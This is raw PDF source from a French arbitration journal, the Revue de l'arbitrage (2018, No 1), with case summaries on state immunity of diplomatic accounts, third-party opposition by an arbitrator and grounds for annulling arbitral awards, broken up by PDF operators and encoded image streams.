[(\351trang\350res)24(.)55( \227 Refus d\222ex\351qu)37(a)54(tur d)18(ans le p)55(a)70(y)18(s dont les lois )]TJ 0.873 Tw T* (de)Tj /Span<>> BDC ( )Tj EMC [(police )1(ont \351t\351 )1(m\351connues)24(.)55( \227 Cir)6(const)25(ance en principe )]TJ 1.077 Tw T* [(indiff\351rente.)55( \227 Distinction ordre public intern)18(a)54(tion)18(al et )]TJ 1.168 Tw T* (lois)Tj /Span<>> BDC ( )Tj EMC [(de police \351trang\350res)24(.)55( \227 )55(A)74(utoris)25(a)54(tion )25(administra)54(tive )]TJ 0.934 Tw T* [(d\222exploit)25(a)54(tion )1(obtenue p)55(ar des )1(man\234uvres )1(fra)37(ud)37(uleuses)24(.)55( )1(\227 )]TJ 0.075 Tw T* [(M\351conn)18(aiss)25(ance de l)95(\222ordre public)18(.)55( \227 )55(Annula)54(tion)25(.)]TJ /T1_0 1 Tf 0.153 Tw -1.063 -1.618 Td [(Si )1(la )1(mission )1(de )1(la )1(cour )1(d\222appel,)55( )1(saisie )1(en )1(vertu )1(de )1(l\222article )1(1520 )1(du )1(Code )1(de )]TJ 0.173 Tw -1.063 -1.075 Td [(proc\351dure civile)25(,)55( est limit\351e \340 l\222examen des vices \351num\351r\351s par ce text\ e)25(,)55( aucune )]TJ 0.105 Tw T* [(limitation n\222est apport\351e au pouvoir de cette juridiction de rec)12(herc)12(her en droit et )]TJ 0.075 Tw T* (en fait tous les \351l\351ments concernant les vices en question.)Tj ET endstream endobj 33 0 obj <>stream 8;Z\6>AaNt#im]=S,8hsf4gQh0RcD]P?"GO,t_Y6@Mf:XmepL!'YlE:jmfMt0UR4b rcH>E5Ne4>MBtkbWqZF`U.@G:rf&EB91>;rZu8;@Z0)%/[LHXgmct`_A@&jsST!+> !-h]d6(hq?Tl&`*-AJQ\^\it)nZ?IPFCKieEim]hSup#U:,7tm8>]EN\D9E"H15s5 @N]m=P9$@9J^l%V0P?4`gC>uJOkUqbWAgl#YETF^W5[>/\a_kb,qm]?8"4X0=Z%^@ T8V1W[GJU2KcKa;QGYO=Xs_[t&V[F,/q,$s_,1+FlQ3\0%da^sDARW0O3p40b$d]4 GK8/8W4)/\8Dr$2glZng3AI"%oL*Di'/PYCg!-g#r5<'7-[!d-h6IjJD!EPli[=$T OO7EOWh=R4AVXe\DrFR(=OVQ<2qRPLagLe-shLjMEI@X]AS^mb# X*/W3]k@10IA^qdAkoclO\1mPKW%:7R%Nl=\n"';&)IAt(Z!BK#BtSi5^D,I[e`#L >`B&DcYlItq.[$FFZr##D]J*sjhu.e*rP3^CB,IDF/A~> endstream endobj 29 0 obj <>stream BT 0 0 0 1 k /GS0 gs /T1_0 1 Tf 0.125 Tw 7 0 0 7 51.0236 34.2601 Tm (Revue de l\222arbitrage )Tj /T1_1 1 Tf 0.25 Tw (2018)Tj /Span<>> BDC ( )Tj EMC (-)Tj /Span<>> BDC ( )Tj EMC (N\260)Tj /Span<>> BDC ( )Tj EMC 14.067 0 Td (1)Tj 0 Tw 9 0 0 9 51.0236 543.0812 Tm (294)Tj /Span<>> BDC ( )Tj EMC 0.075 Tw 6.5 0 0 6.5 132.3091 543.0812 Tm [(SOMMAIRES DE JURISPR)37(UDE)]TJ /Span<>> BDC (N)Tj EMC (CE)Tj ET 0 0 0 1 K 0.283 w q 1 0 0 1 162.9926 194.1929 cm 0 0 m 56.692 0 l S Q BT /T1_2 1 Tf 0.039 Tw 8 0 0 8 51.0236 518.2095 Tm [([2018/04] )1(Cour de )1(cassation )1(\(1)]TJ -0.01 Tc 0.01 Tw 6.4 0 0 6.4 157.6244 521.4095 Tm (re)Tj 0 Tc 0.039 Tw 8 0 0 8 163.2515 518.2095 Tm [( )1(Ch.)37( )1(civ)92(.\),)37( 10 )1(jan)18(vier )1(2018,)]TJ /T1_3 1 Tf 0 Tw ( )Tj /T1_0 1 Tf 0.039 Tw 11.525 0 Td [(R\351publique )1(du )1(Congo )]TJ 0.075 Tw -25.554 -1.075 Td (c/ Commissions Import Export \(Commisimpex\))Tj /T1_4 1 Tf 0.597 Tw 0 -1.793 TD [(Arbitra)18(ge )1(intern)18(a)54(tion)18(al.)55( )1(\227 )1(Immunit\351s)24(.)55( )1(\227 )1(Immunit\351 )1(d\222ex\351cution )1(des )]TJ 0.409 Tw 2.126 -1.075 Td [(Et)25(a)54(ts)24(.)55( \227 Mission diploma)54(tique.)55( \227 Conditions)24(.)55( \227 N\351cessit\351 d\222une )]TJ 0.075 Tw 0 -1.075 TD [(renoncia)54(tion expresse et sp\351ciale.)]TJ 0.341 Tw -2.126 -1.793 Td [(Immunit\351s)24(.)55( \227 Immunit\351 d\222ex\351cution des Et)25(a)54(ts)24(.)55( \227 Mission diploma)54(tique.)55( )]TJ 0.878 Tw 2.126 -1.075 Td [(\227 )1(Conditions)24(.)55( )1(\227 N\351cessit\351 )1(d\222une )1(renoncia)54(tion )1(expresse )1(et )]TJ 0 Tw T* (sp\351ciale.)Tj /T1_0 1 Tf -0.026 Tw -1.063 -1.793 Td [(La loi n\260 2016-1691 du 9 d\351cembre 2016 a introduit,)55( dans le Code des proc\351dures )]TJ 0.21 Tw -1.063 -1.075 Td [(civiles d\222ex\351cution,)55( deux nouvelles dispositions)55(.)55( Selon l\222article L.)55( 111-1-2 de ce )]TJ 0.065 Tw T* [(code)25(,)55( sont )1(consid\351r\351s )1(comme )1(sp\351cifiquement )1(utilis\351s )1(ou destin\351s )1(\340 )1(\352tre )1(utilis\351s )1(par )]TJ 0.267 Tw T* [(l\222Etat )1(\340 )1(des )1(fins )1(de )1(service )1(public )1(non )1(commerciales )1(les )1(biens)55(,)55( )1(y )1(compris )1(les )]TJ 0.099 Tw 0 -1.075 TD [(comptes bancaires)55(,)55( utilis\351s ou destin\351s \340 \352tre utilis\351s dans l\222ex)18(ercice des fonctions )]TJ 0.097 Tw 0 -1.075 TD (de la mission diplomatique de l\222Etat ou de ses postes consulaires)Tj /Span<>> BDC ( )Tj EMC 28.509 0 Td [(;)55( aux termes de )]TJ 0.074 Tw -28.509 -1.075 Td [(l\222article L.)55( 111-1-3,)55( des mesures conservatoires ou des mesures d\222ex\351cution forc\351e )]TJ 0.187 Tw 0 -1.075 TD [(ne peuvent \352tre mises en \234uvre sur les biens)55(,)55( y compris les comptes bancaires)55(,)55( )]TJ 0.29 Tw T* [(utilis\351s ou destin\351s \340 \352tre utilis\351s dans l\222ex)18(ercice des fonctions de la mission )]TJ 0.072 Tw 0 -1.075 TD [(diplomatique des Etats \351trangers ou de leurs postes consulaires)55(,)55( de leurs missions )]TJ 0.107 Tw 0 -1.075 TD (sp\351ciales ou de leurs missions aupr\350s des organisations internatio\ nales qu\222en cas )Tj 0.075 Tw 0 -1.075 TD [(de renonciation expresse et sp\351ciale des Etats concern\351s)55(.)]TJ 0.038 Tw 1.063 -1.793 Td [(Ces dispositions l\351gislatives)55(,)55( qui subor)18(donnent la validit\351 de la renonciation par )]TJ 0.235 Tw -1.063 -1.075 Td [(un Etat \351tranger \340 son immunit\351 d\222ex\351cution,)55( \340 la double condition que cette )]TJ 0.14 Tw T* [(renonciation soit expresse et sp\351ciale)25(,)55( contredisent la doctrine isol\351e r\351sultant de )]TJ 0.146 Tw 0 -1.075 TD [(l\222arr\352t du 13 mai 2015,)55( mais consacrent la jurisprudence ant\351rieure)]TJ /Span<>> BDC ( )Tj EMC 29.731 0 Td [(;)55( certes)55(,)55( elles )]TJ 0.015 Tw -29.731 -1.075 Td (concernent les seules mesures d\222ex\351cution mises en \234uvre apr\350\ s l\222entr\351e en vigueur )Tj 0.114 Tw 0 -1.075 TD [(de la loi et,)55( d\350s lors)55(,)55( ne s\222appliquent pas au pr\351sent litige)]TJ /Span<>> BDC ( )Tj EMC 25.039 0 Td [(;)55( toutefois)55(,)55( compte tenu )]TJ 0.051 Tw -25.039 -1.075 Td [(de l\222imp\351rieuse n\351cessit\351,)55( dans un domaine touc)12(hant \340 la souverainet\351 des Etats et )]TJ 0.232 Tw T* [(\340 la pr\351servation de leurs repr\351sentations diplomatiques)55(,)55( de traiter de mani\350re )]TJ 0.116 Tw 0 -1.075 TD [(identique )1(des )1(situations )1(similaires)55(,)55( )1(l\222objectif )1(de )1(coh\351rence )1(et )1(de )1(s\351curit\351 )1(juridique )]TJ 0.075 Tw 0 -1.075 TD [(impose de revenir \340 la jurisprudence confort\351e par la loi nouvelle\ )25(.)]TJ /T1_1 1 Tf 0.51 Tw /Span<>> BDC 1.063 -1.793 Td (A)Tj EMC (rr\352t n\260 3 F)Tj /Span<>> BDC (S)Tj EMC (-)Tj /Span<>> BDC (P)Tj EMC (+B+)Tj /Span<>> BDC (I)Tj EMC [(,)55( pourvoi n\260 F 16-22.494 \227 )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 270.3162 234.6734 Tm (me)Tj 8 0 0 8 278.8473 231.4734 Tm ( )Tj /T1_4 1 Tf 0.76 0 Td [(B)25(a)54(tut)]TJ /T1_1 1 Tf 0.51 Tw 2.661 0 Td [(,)55( pr\351s)55(.,)55( )]TJ -0.055 Tc 0.055 Tw /Span<>> BDC -31.899 -1.075 Td (M)Tj EMC 0.944 0 Td (.)Tj /Span<>> BDC ( )Tj EMC /T1_4 1 Tf 0 Tc 0 Tw 0.77 0 Td [(A)18(cqu)37(a)80(viv)74(a)]TJ /T1_1 1 Tf 0.38 Tw [(,)55( )1(cons)55(.)55( )1(rapp)40(.,)55( )]TJ /Span<>> BDC 11.262 0 Td (M)Tj EMC 0 Tw 6.4 0 0 6.4 162.3784 226.0734 Tm (me)Tj 8 0 0 8 170.9095 222.8734 Tm ( )Tj /T1_4 1 Tf 0.575 0 Td [(W)120(allon)]TJ /T1_1 1 Tf 0.38 Tw 3.578 0 Td [(,)55( )1(cons)55(.)55( )1(doy)92(.)55( \227 )]TJ /T1_4 1 Tf 7.514 0 Td [(SCP R)18(oussea)37(u )]TJ /T1_1 1 Tf 0 Tw (et)Tj /T1_4 1 Tf ( )Tj 0.345 Tw -26.652 -1.075 Td [(T)100(apie,)55( SCP Or)10(tscheid)18(t)37(,)]TJ /T1_1 1 Tf 10.914 0 Td [( av)92(.)55( \227 )]TJ /Span<>> BDC (D)Tj EMC (\351cision attaqu\351e)Tj /Span<>> BDC ( )Tj EMC 12.344 0 Td [(:)55( )]TJ /Span<>> BDC (P)Tj EMC (aris \()Tj /Span<>> BDC (P)Tj EMC (\364le 4 \226 )Tj /Span<>> BDC (C)Tj EMC [(h.)55( 8\),)55( )]TJ 0.075 Tw -23.258 -1.075 Td (30)Tj /Span<>> BDC ( )Tj EMC (juin 2016 \227 )Tj /Span<>> BDC 6.913 0 Td (A)Tj EMC (nnulation sans renvoi.)Tj /T1_2 1 Tf 0.004 Tc 0.125 Tw -6.913 -3.565 Td ([2018/05] Cour de cassation \(2)Tj 0 Tc 0 Tw 6.4 0 0 6.4 161.3158 180.3529 Tm (e)Tj 0.004 Tc 0.125 Tw 8 0 0 8 164.5404 177.1529 Tm [( Ch.)37( civ)92(.\),)37( 11 jan)18(vier 2018,)]TJ /T1_3 1 Tf 0 Tc 0 Tw ( )Tj /T1_0 1 Tf 0.004 Tc 0.125 Tw 12.166 0 Td [(M.)55( Pierre Estoup c/)4( )]TJ 0 Tc 0.075 Tw -26.355 -1.075 Td (M.)Tj /Span<>> BDC 1.139 0 Td ( )Tj EMC (Didier Courtoux et autres)Tj /T1_4 1 Tf 0.522 Tw -1.139 -1.793 Td [(Recour)10(s en r\351vision)25(.)55( \227 )55(T)74(ier)6(ce opposition)25(.)55( \227 Recour)10(s dirig\351 contre )]TJ 0.03 Tc 1.221 Tw 2.126 -1.075 Td [(l)95(\222arr\352t rend)37(u sur recour)10(s en r\351vision)25(.)55( \227 F)37(onction)30( )]TJ 0 Tc 0.964 Tw T* [(juridictionnelle )1(de )1(l)95(\222arbitre.)55( )1(\227 )1(Interdiction )1(pour )1(l)95(\222arbitre )]TJ 0.566 Tw 0 -1.075 TD (de)Tj /Span<>> BDC ( )Tj EMC [(former )25(tier)6(ce opposition )1(contre )1(la )1(d\351cision de )1(r\351tra)18(ct)25(a)54(tion )]TJ 0.02 Tc 0.947 Tw 0 -1.075 TD [(de )1(la )1(sentence.)55( )1(\227 )1(Indiff\351rence )1(d)37(u )1(risque )1(d\222a)18(ction )1(en)20( )]TJ 0 Tc 0.075 Tw 0 -1.075 TD [(respons)25(abilit\351 civile.)55( \227 )55(T)74(ier)6(ce opposition irrecev)74(able.)]TJ 0.898 Tw -2.126 -1.793 Td [(T)74(ier)6(ce opposition)25(.)55( \227 Recour)10(s dirig\351 contre l)95(\222arr\352t rend)37(u sur )]TJ 0.664 Tw 2.126 -1.075 Td [(recour)10(s en r\351vision)25(.)55( \227 F)37(onction juridictionnelle de l)95(\222arbitre.)55( )]TJ 0.976 Tw T* [(\227 )1(Interdiction )1(pour )1(l)95(\222arbitre de )1(former )25(tier)6(ce )1(opposition )]TJ 1.079 Tw T* [(contre la d\351cision de r\351tra)18(ct)25(a)54(tion de la sentence.)55( \227 )]TJ 0.862 Tw T* [(Indiff\351rence d)37(u risque d\222a)18(ction en respons)25(abilit\351 civile.)55( \227 )]TJ 0.075 Tw T* [(T)74(ier)6(ce opposition irrecev)74(able.)]TJ ET endstream endobj 31 0 obj <>stream 8;Z\6>B7V8#im]9g\[UsldPtOoL`a/]@24nN,1qK?s*MnlG%]o&7kP#=8NF\K)X5: )tm2tf1/hMA/+NUICE6epZ5<&9Gu3[kLbTn/M"aNMq4(d2XEWbgcKbhMU6+N-!89e caY25gMTS,3d0?M:4S^]^:,lc-M=RBd#;1JD&`\1O6,@T0Z[Am1hAD14^!@VA?U$\!7g?g#pDXTN3s^]g"sqA)7b&qekqs *E2@(lE9k:O34e endstream endobj 15 0 obj <>/Font<>/ProcSet[/PDF/Text]>>/Thumb 69 0 R/TrimBox[0.0 0.0 382.677 595.276]/Type/Page>> endobj 16 0 obj <>/Font<>/ProcSet[/PDF/Text]>>/Thumb 71 0 R/TrimBox[0.0 0.0 382.677 595.276]/Type/Page>> endobj 17 0 obj <>/Font<>/ProcSet[/PDF/Text]>>/Thumb 73 0 R/TrimBox[0.0 0.0 382.677 595.276]/Type/Page>> endobj 18 0 obj <>/Font<>/ProcSet[/PDF/Text]>>/Thumb 75 0 R/TrimBox[0.0 0.0 382.677 595.276]/Type/Page>> endobj 19 0 obj <>/Font<>/ProcSet[/PDF/Text]>>/Thumb 77 0 R/TrimBox[0.0 0.0 382.677 595.276]/Type/Page>> endobj 76 0 obj <>stream BT 0 0 0 1 k /GS0 gs /T1_0 1 Tf 0.125 Tw 7 0 0 7 229.6853 34.2601 Tm (Revue de l\222arbitrage )Tj /T1_1 1 Tf 0.25 Tw (2018)Tj /Span<>> BDC ( )Tj EMC (-)Tj /Span<>> BDC ( )Tj EMC (N\260)Tj /Span<>> BDC ( )Tj EMC 14.067 0 Td (1)Tj 0.075 Tw /Span<>> BDC 6.5 0 0 6.5 51.0236 543.0812 Tm ( )Tj EMC 12.654 0 Td [(SOMMAIRES DE JURISPR)37(UDE)]TJ /Span<>> BDC (N)Tj EMC (CE)Tj /Span<>> BDC ( )Tj EMC 0 Tw 9 0 0 9 317.7026 543.0812 Tm (293)Tj ET 0 0 0 1 K 0.283 w q 1 0 0 1 162.9926 54.5587 cm 0 0 m 56.692 0 l S Q BT /T1_2 1 Tf 0.631 Tw 8 0 0 8 68.0315 518.3295 Tm [(\227 Grief ne correspond)18(ant p)55(a)18(s \340 une c)18(a)37(use d\222annula)54(tion)25(.)55( \227 )]TJ 0.479 Tw 0 -1.075 TD (7\260\))Tj /Span<>> BDC ( )Tj EMC [(Expira)54(tion d)37(u d\351lai pour rendre la sentence.)55( \227 Expira)54(tion )]TJ 0.329 Tw T* [(d)37(u d\351lai le 20 )25(a)80(vril 2016.)55( \227 Sentence d)18(a)54(t\351e d)37(u 18 )25(a)80(vril 2016.)55( \227 )]TJ 0.363 Tw T* [(Sentence no)10(tifi\351e le 2 mai 2016.)55( \227 Indic)18(a)54(tion de la d)18(a)54(te sur la )]TJ 0.075 Tw T* [(sentence f)35(ais)25(ant foi jusqu\222\340 inscription de f)35(a)37(ux.)]TJ /T1_0 1 Tf 0.407 Tw -1.063 -1.784 Td (Suivant l\222article 1466 du Code de proc\351dure civile)Tj /Span<>> BDC ( )Tj EMC 24.189 0 Td [(:)55( \253)]TJ /Span<>> BDC ( )Tj EMC 1.603 0 Td [(La partie qui,)55( en )]TJ 0.1 Tw -26.854 -1.075 Td [(connaissance de cause et sans motif l\351gitime)25(,)55( s\222abstient d\222invoquer en temps utile )]TJ 0.358 Tw T* (une irr\351gularit\351 devant le tribunal arbitral est r\351put\351e avo\ ir renonc\351 \340 s\222en )Tj 0 Tw T* (pr\351valoir)Tj /Span<>> BDC ( )Tj EMC (\273.)Tj 0.069 Tw 1.063 -1.784 Td (En signant l\222acte de mission \351non\347ant que \253)Tj /Span<>> BDC ( )Tj EMC 19.265 0 Td [(c)12(hacun des trois arbitres a accept\351 )]TJ 0.146 Tw -20.328 -1.075 Td [(sa )1(mission et )1(rempli )1(sa d\351claration )1(d\222ind\351pendance )1(qui )1(lui permet )1(d\222accepter )1(sa )]TJ 0.098 Tw T* [(mission.)55( En tant que de besoin,)55( c)12(hacun d\222eux d\351clare n\222avoir aucun lien avec les )]TJ 0.094 Tw T* (parties)Tj /Span<>> BDC ( )Tj EMC 3.084 0 Td [(\273,)55( le recourant a renonc\351 \340 soutenir que les arbitres n\222avaient p\ as souscrit )]TJ 0.196 Tw -3.084 -1.075 Td [(de d\351claration d\222ind\351pendance)25(,)55( celle-ci n\222\351tant,)55( au demeurant,)55( soumise \340 aucun )]TJ 0.099 Tw T* (formalisme et pouvant r\351sulter de la mention dans l\222acte de missio\ n de l\222absence )Tj 0.075 Tw T* (de lien avec les parties)Tj 0.045 Tw 1.063 -1.784 Td [(Ex)18(erce sa mission d\222amiable compositeur le tribunal arbitral qui a \351\ nonc\351 dans )]TJ 0.107 Tw -1.063 -1.075 Td (son dispositif qu\222il statuait en amiable composition et a indiqu\351 \ qu\222il ne trouvait )Tj 0.257 Tw T* (pas dans les circonstances de l\222esp\350ce mati\350re \340 att\351nuer\ les cons\351quences de )Tj 0.095 Tw T* (l\222application de la clause de non-concurrence stipul\351e par le cont\ rat)Tj /Span<>> BDC ( )Tj EMC 29.692 0 Td [(;)55( alors qu\222en )]TJ -0.007 Tw -29.692 -1.075 Td [(ce qui concerne la clause p\351nale)25(,)55( le recourant ne d\351montre pas qu\222il en ait demand\351 )]TJ 0.075 Tw T* (aux arbitres la mitigation.)Tj 0.106 Tw 1.063 -1.784 Td [(Ne )1(m\351conna\356t )1(pas )1(le principe )1(de )1(la )1(contradiction )1(le )1(fait qu\222un )1(m\351moire )1(ait )1(\351t\351 )]TJ 0.123 Tw -1.063 -1.075 Td (d\351pos\351 en dehors des d\351lais pr\351vus par le calendrier de proc\ \351dure et deux jours )Tj 0.14 Tw T* [(avant l\222audience d\350s lors)55(,)55( d\222une part,)55( que le calendrier s\222est trouv\351 d\351cal\351 par le )]TJ 0.18 Tw 0 -1.075 TD [(malentendu initial et que)25(,)55( d\222autre part,)55( le recourant ne fait \351tat d\222aucun fait ou )]TJ 0.072 Tw 0 -1.075 TD [(argument pr\351cis)55(,)55( nouvellement expos\351 dans le m\351moire adverse)25(,)55( et qu\222il aurait \351t\351 )]TJ 0.075 Tw 0 -1.075 TD [(hors d\222\351tat de r\351futer)74(.)]TJ 0.093 Tw 1.063 -1.784 Td [(A)18(ux termes de l\222article 1476 alin\351a 2 du Code de proc\351dure civil\ e)]TJ /Span<>> BDC ( )Tj EMC 28.789 0 Td [(:)55( \253)]TJ /Span<>> BDC ( )Tj EMC 1.233 0 Td [(A)18(u cours )]TJ 0.038 Tw -31.085 -1.075 Td [(du d\351lib\351r\351,)55( aucune demande ne peut \352tre form\351e)25(,)55( aucun mo)18(yen soulev\351 et aucune )]TJ 0.001 Tw T* [(pi\350ce produite)25(,)55( si ce n\222est \340 la demande du tribunal arbitral)]TJ /Span<>> BDC ( )Tj EMC 25.046 0 Td [(\273.)55( En retenant les seules )]TJ 0.047 Tw -25.046 -1.075 Td [(pi\350ces produites au cours du d\351lib\351r\351 en conformit\351 avec \ une pr\351c\351dente d\351cision,)55( )]TJ 0.088 Tw T* [(et en \351cartant les autres)55(,)55( le tribunal arbitral,)55( loin de m\351conna\356tre le principe de la )]TJ 0.075 Tw T* [(contradiction,)55( en assure au contraire le respect.)]TJ 0.198 Tw 1.063 -1.784 Td [(Le mo)18(yen tir\351 de l\222or)18(dre public de protection est irrecevable)25(,)55( d\350s lors qu\222en )]TJ -0.057 Tw -1.063 -1.075 Td [(stipulant dans les statuts de la soci\351t\351 une clause d\222arbitrage\ en amiable composition,)55( )]TJ 0.076 Tw T* [(et en r\351it\351rant ce c)12(hoix dans l\222acte de mission,)55( les parties ont affranc)12(hi le tribunal )]TJ 0.075 Tw T* [(arbitral du respect des r\350gles d\222or)18(dre public de protection.)]TJ 0.251 Tw 1.063 -1.784 Td (La signature des trois arbitres qui figure sur la sentence querell\351e \ emporte )Tj 0.075 Tw -1.063 -1.075 Td (pr\351somption de majorit\351.)Tj 0.381 Tw 1.063 -1.784 Td [(L)92(\222absence de la formule \253)]TJ /Span<>> BDC ( )Tj EMC 12.681 0 Td (apr\350s en avoir d\351lib\351r\351)Tj /Span<>> BDC ( )Tj EMC 11.032 0 Td (\273 n\222est pas une cause )Tj 0.075 Tw -24.777 -1.075 Td [(d\222annulation de la sentence)25(.)]TJ 0.097 Tw 1.063 -1.784 Td (Les \351nonciations par lesquelles la sentence indique la date \340 laqu\ elle elle a \351t\351 )Tj 0.075 Tw -1.063 -1.075 Td (rendue font foi jusqu\222\340 inscription de faux.)Tj /T1_1 1 Tf 0.154 Tw 1.063 -1.784 Td [(N\260 r\351p)40(.)55( g\351n.)]TJ /Span<>> BDC 5.337 0 Td ( )Tj EMC 0.25 0 Td [(:)55( 16/11404.)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 151.576 86.4392 Tm (me)Tj 8 0 0 8 160.1072 83.2392 Tm ( )Tj /T1_2 1 Tf 0.404 0 Td (Guihal)Tj /T1_1 1 Tf 0.154 Tw [(,)55( pr\351s)55(.,)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 223.8121 86.4392 Tm (me)Tj 8 0 0 8 232.3432 83.2392 Tm ( )Tj /T1_2 1 Tf -0.074 Tc 0.074 Tw 0.404 0 Td [(S)-56(a)-74(lva)-74(r)-37(y)]TJ /T1_1 1 Tf -0.055 Tc 0.209 Tw 3.374 0 Td (, )Tj /Span<>> BDC (M)Tj EMC 1.543 0 Td (. )Tj /T1_2 1 Tf 0 Tc 0 Tw [(Lec)18(ar)6(oz,)]TJ /T1_1 1 Tf 0.154 Tw 4.605 0 Td [( cons)55(.)55( )]TJ 0.363 Tw -32.59 -1.075 Td (\227 )Tj /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 71.478 77.8392 Tm (es)Tj 8 0 0 8 77.1675 74.6392 Tm ( )Tj /T1_2 1 Tf 0.613 0 Td (Demmane )Tj /T1_1 1 Tf 4.947 0 Td (et)Tj /T1_2 1 Tf 0.363 Tw [( Pimont)37(,)55( )]TJ /T1_1 1 Tf 5.359 0 Td [(av)92(.)55( \227 )]TJ /Span<>> BDC (D)Tj EMC (\351cision attaqu\351e)Tj /Span<>> BDC ( )Tj EMC 11.804 0 Td [(:)55( )]TJ /Span<>> BDC (S)Tj EMC (entence arbitrale )Tj 0.075 Tw -25.99 -1.075 Td (rendue \340 )Tj /Span<>> BDC (P)Tj EMC [(aris le 18 avril 2016.)55( \227 )]TJ /Span<>> BDC (R)Tj EMC (ejet.)Tj ET endstream endobj 77 0 obj <>stream 8;Z\6=dHrJ%.dp&e,@V0Ff'DGc-gdl1n".WpGHZ9(a3FPhZ)W*!=87#RXZ'+pf5\7 p[M%/Fi[uJ[.b.n^?=_-GC]+,&39,,rO7c(lpl!:agh4Qd/FrP6ZF?tpT)C,h"l#. H6@Jk$fV6,eAaF.G%q4rbq."`Y\:9s^[K*`@B^[_q>ue`g\-R/riZ1gZ/Z<81O$5/eLj"n,]HhNlX=uZVE6:2Xn2QDl3PGW2ohR,sMcP8HQnb%QaE<]tIX;o.ra>k&Si:E_6P403lF?`nX fB;!'>)2qQUj35gRND:;Ehau(Hc+jn+,]_SgCs:pq3An?[#Kh;hE;']8R&*r^^E-Y %[M09>j$)j>mlCP"F:ih!]G3ucuLl7OKE2N-d5%]]IDjBm'[3OkR endstream endobj 74 0 obj <>stream BT 0 0 0 1 k /GS0 gs /T1_0 1 Tf 0.125 Tw 7 0 0 7 51.0236 34.2601 Tm (Revue de l\222arbitrage )Tj /T1_1 1 Tf 0.25 Tw (2018)Tj /Span<>> BDC ( )Tj EMC (-)Tj /Span<>> BDC ( )Tj EMC (N\260)Tj /Span<>> BDC ( )Tj EMC 14.067 0 Td (1)Tj 0 Tw 9 0 0 9 51.0236 543.0812 Tm (292)Tj /Span<>> BDC ( )Tj EMC 0.075 Tw 6.5 0 0 6.5 132.3091 543.0812 Tm [(SOMMAIRES DE JURISPR)37(UDE)]TJ /Span<>> BDC (N)Tj EMC (CE)Tj ET 0 0 0 1 K 0.283 w q 1 0 0 1 162.9926 340.3829 cm 0 0 m 56.692 0 l S Q BT /T1_0 1 Tf 0.165 Tw 8 0 0 8 59.5276 518.2095 Tm (Il est de principe en droit international de l\222arbitrage que l\222int\ erpr\351tation des )Tj 0.054 Tw -1.063 -1.075 Td [(contrats consiste \340 rec)12(herc)12(her quelle a \351t\351 la commune intention des parties plut\364t )]TJ 0.332 Tw 0 -1.075 TD [(que de s\222arr\352ter au sens litt\351ral des termes)55(.)55( Cette rec)12(herc)12(he doit notamment )]TJ 0.251 Tw T* (s\222inspirer du principe de l\222effet utile qui pr\351sume que les par\ ties ont entendu )Tj 0.213 Tw T* [(donner )1(une )1(port\351e )1(effective )1(aux )1(stipulations )1(qu\222elles )1(ont )1(introduites )1(dans )1(leurs )]TJ 0 Tw T* [(conventions)55(.)]TJ 0.128 Tw 1.063 -1.797 Td [(Doit \352tre rejet\351 le mo)18(yen tir\351 de l\222article 1520-1\260 du Code de proc\351dure civile )]TJ 0.053 Tw -1.063 -1.075 Td (d\350s lors que la volont\351 des contractants de recourir \340 l\222arb\ itrage sous l\222\351gide de la )Tj 0.125 Tw T* [(Chambre )1(de )1(commerce )1(internationale )1(r\351sulte )1(clairement )1(de )1(la )1(clause )1(litigieuse )1(et )]TJ 0.201 Tw T* (que le contrat ne pr\351voit d\222ailleurs pas d\222autre mode contentie\ ux de r\350glement )Tj 0.164 Tw T* (des)Tj /Span<>> BDC ( )Tj EMC [(diff\351rends sauf l\222intervention du juge des r\351f\351r\351s pour o\ r)18(donner l\222expulsion )]TJ 0.11 Tw T* (des)Tj /Span<>> BDC ( )Tj EMC [(lieux lou\351s)55(.)55( La clause compromissoire ne saurait donc s\222entendre en un sens )]TJ 0.004 Tw T* (qui priverait d\222efficacit\351 l\222intervention des arbitres en scind\ ant un m\352me litige entre )Tj 0.075 Tw T* (la juridiction arbitrale et des juridictions \351tatiques de fond.)Tj /T1_1 1 Tf 0.154 Tw 1.063 -1.797 Td [(N\260 r\351p)40(.)55( g\351n.)]TJ /Span<>> BDC 5.337 0 Td ( )Tj EMC 0.25 0 Td [(:)55( 15/24961.)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 151.576 389.4634 Tm (me)Tj 8 0 0 8 160.1072 386.2634 Tm ( )Tj /T1_2 1 Tf 0.404 0 Td (Guihal)Tj /T1_1 1 Tf 0.154 Tw [(,)55( pr\351s)55(.,)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 223.8121 389.4634 Tm (me)Tj 8 0 0 8 232.3432 386.2634 Tm ( )Tj /T1_2 1 Tf -0.074 Tc 0.074 Tw 0.404 0 Td [(S)-56(a)-74(lva)-74(r)-37(y)]TJ /T1_1 1 Tf -0.055 Tc 0.209 Tw 3.374 0 Td (, )Tj /Span<>> BDC (M)Tj EMC 1.543 0 Td (. )Tj /T1_2 1 Tf 0 Tc 0 Tw [(Lec)18(ar)6(oz,)]TJ /T1_1 1 Tf 0.154 Tw 4.605 0 Td [( cons)55(.)55( )]TJ 0.348 Tw -32.59 -1.075 Td (\227 )Tj /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 71.3579 380.8634 Tm (es)Tj 8 0 0 8 77.0474 377.6634 Tm ( )Tj /T1_2 1 Tf 0.293 Tw 0.598 0 Td [(Pinn)18(a,)55( A)18(quereb)18(ur)18(u)25(,)55( Tchalim,)55( )-55(Sera)18(glini )]TJ /T1_1 1 Tf 0 Tw 19.26 0 Td (et)Tj /T1_2 1 Tf 0.348 Tw ( Betto)Tj /T1_1 1 Tf 4.042 0 Td [(,)55( av)92(.)55( \227 )]TJ /Span<>> BDC (D)Tj EMC (\351cision )Tj 0.035 Tw -27.153 -1.075 Td (attaqu\351e)Tj /Span<>> BDC ( )Tj EMC 4.028 0 Td [(:)55( )]TJ /Span<>> BDC (S)Tj EMC (entence arbitrale du 6 novembre 2015 et ordonnance d\222exequatur du )Tj 0.087 Tw -4.028 -1.075 Td [(pr\351sident du )55(T)111(ribunal de grande instance de )]TJ /Span<>> BDC (P)Tj EMC [(aris rendue le 23 novembre 2015.)55( )]TJ 0.075 Tw T* (\227 )Tj /Span<>> BDC (R)Tj EMC (ejet.)Tj /T1_3 1 Tf 0.003 Tc 0.125 Tw 0 -4.986 TD [([2018/03] Cour 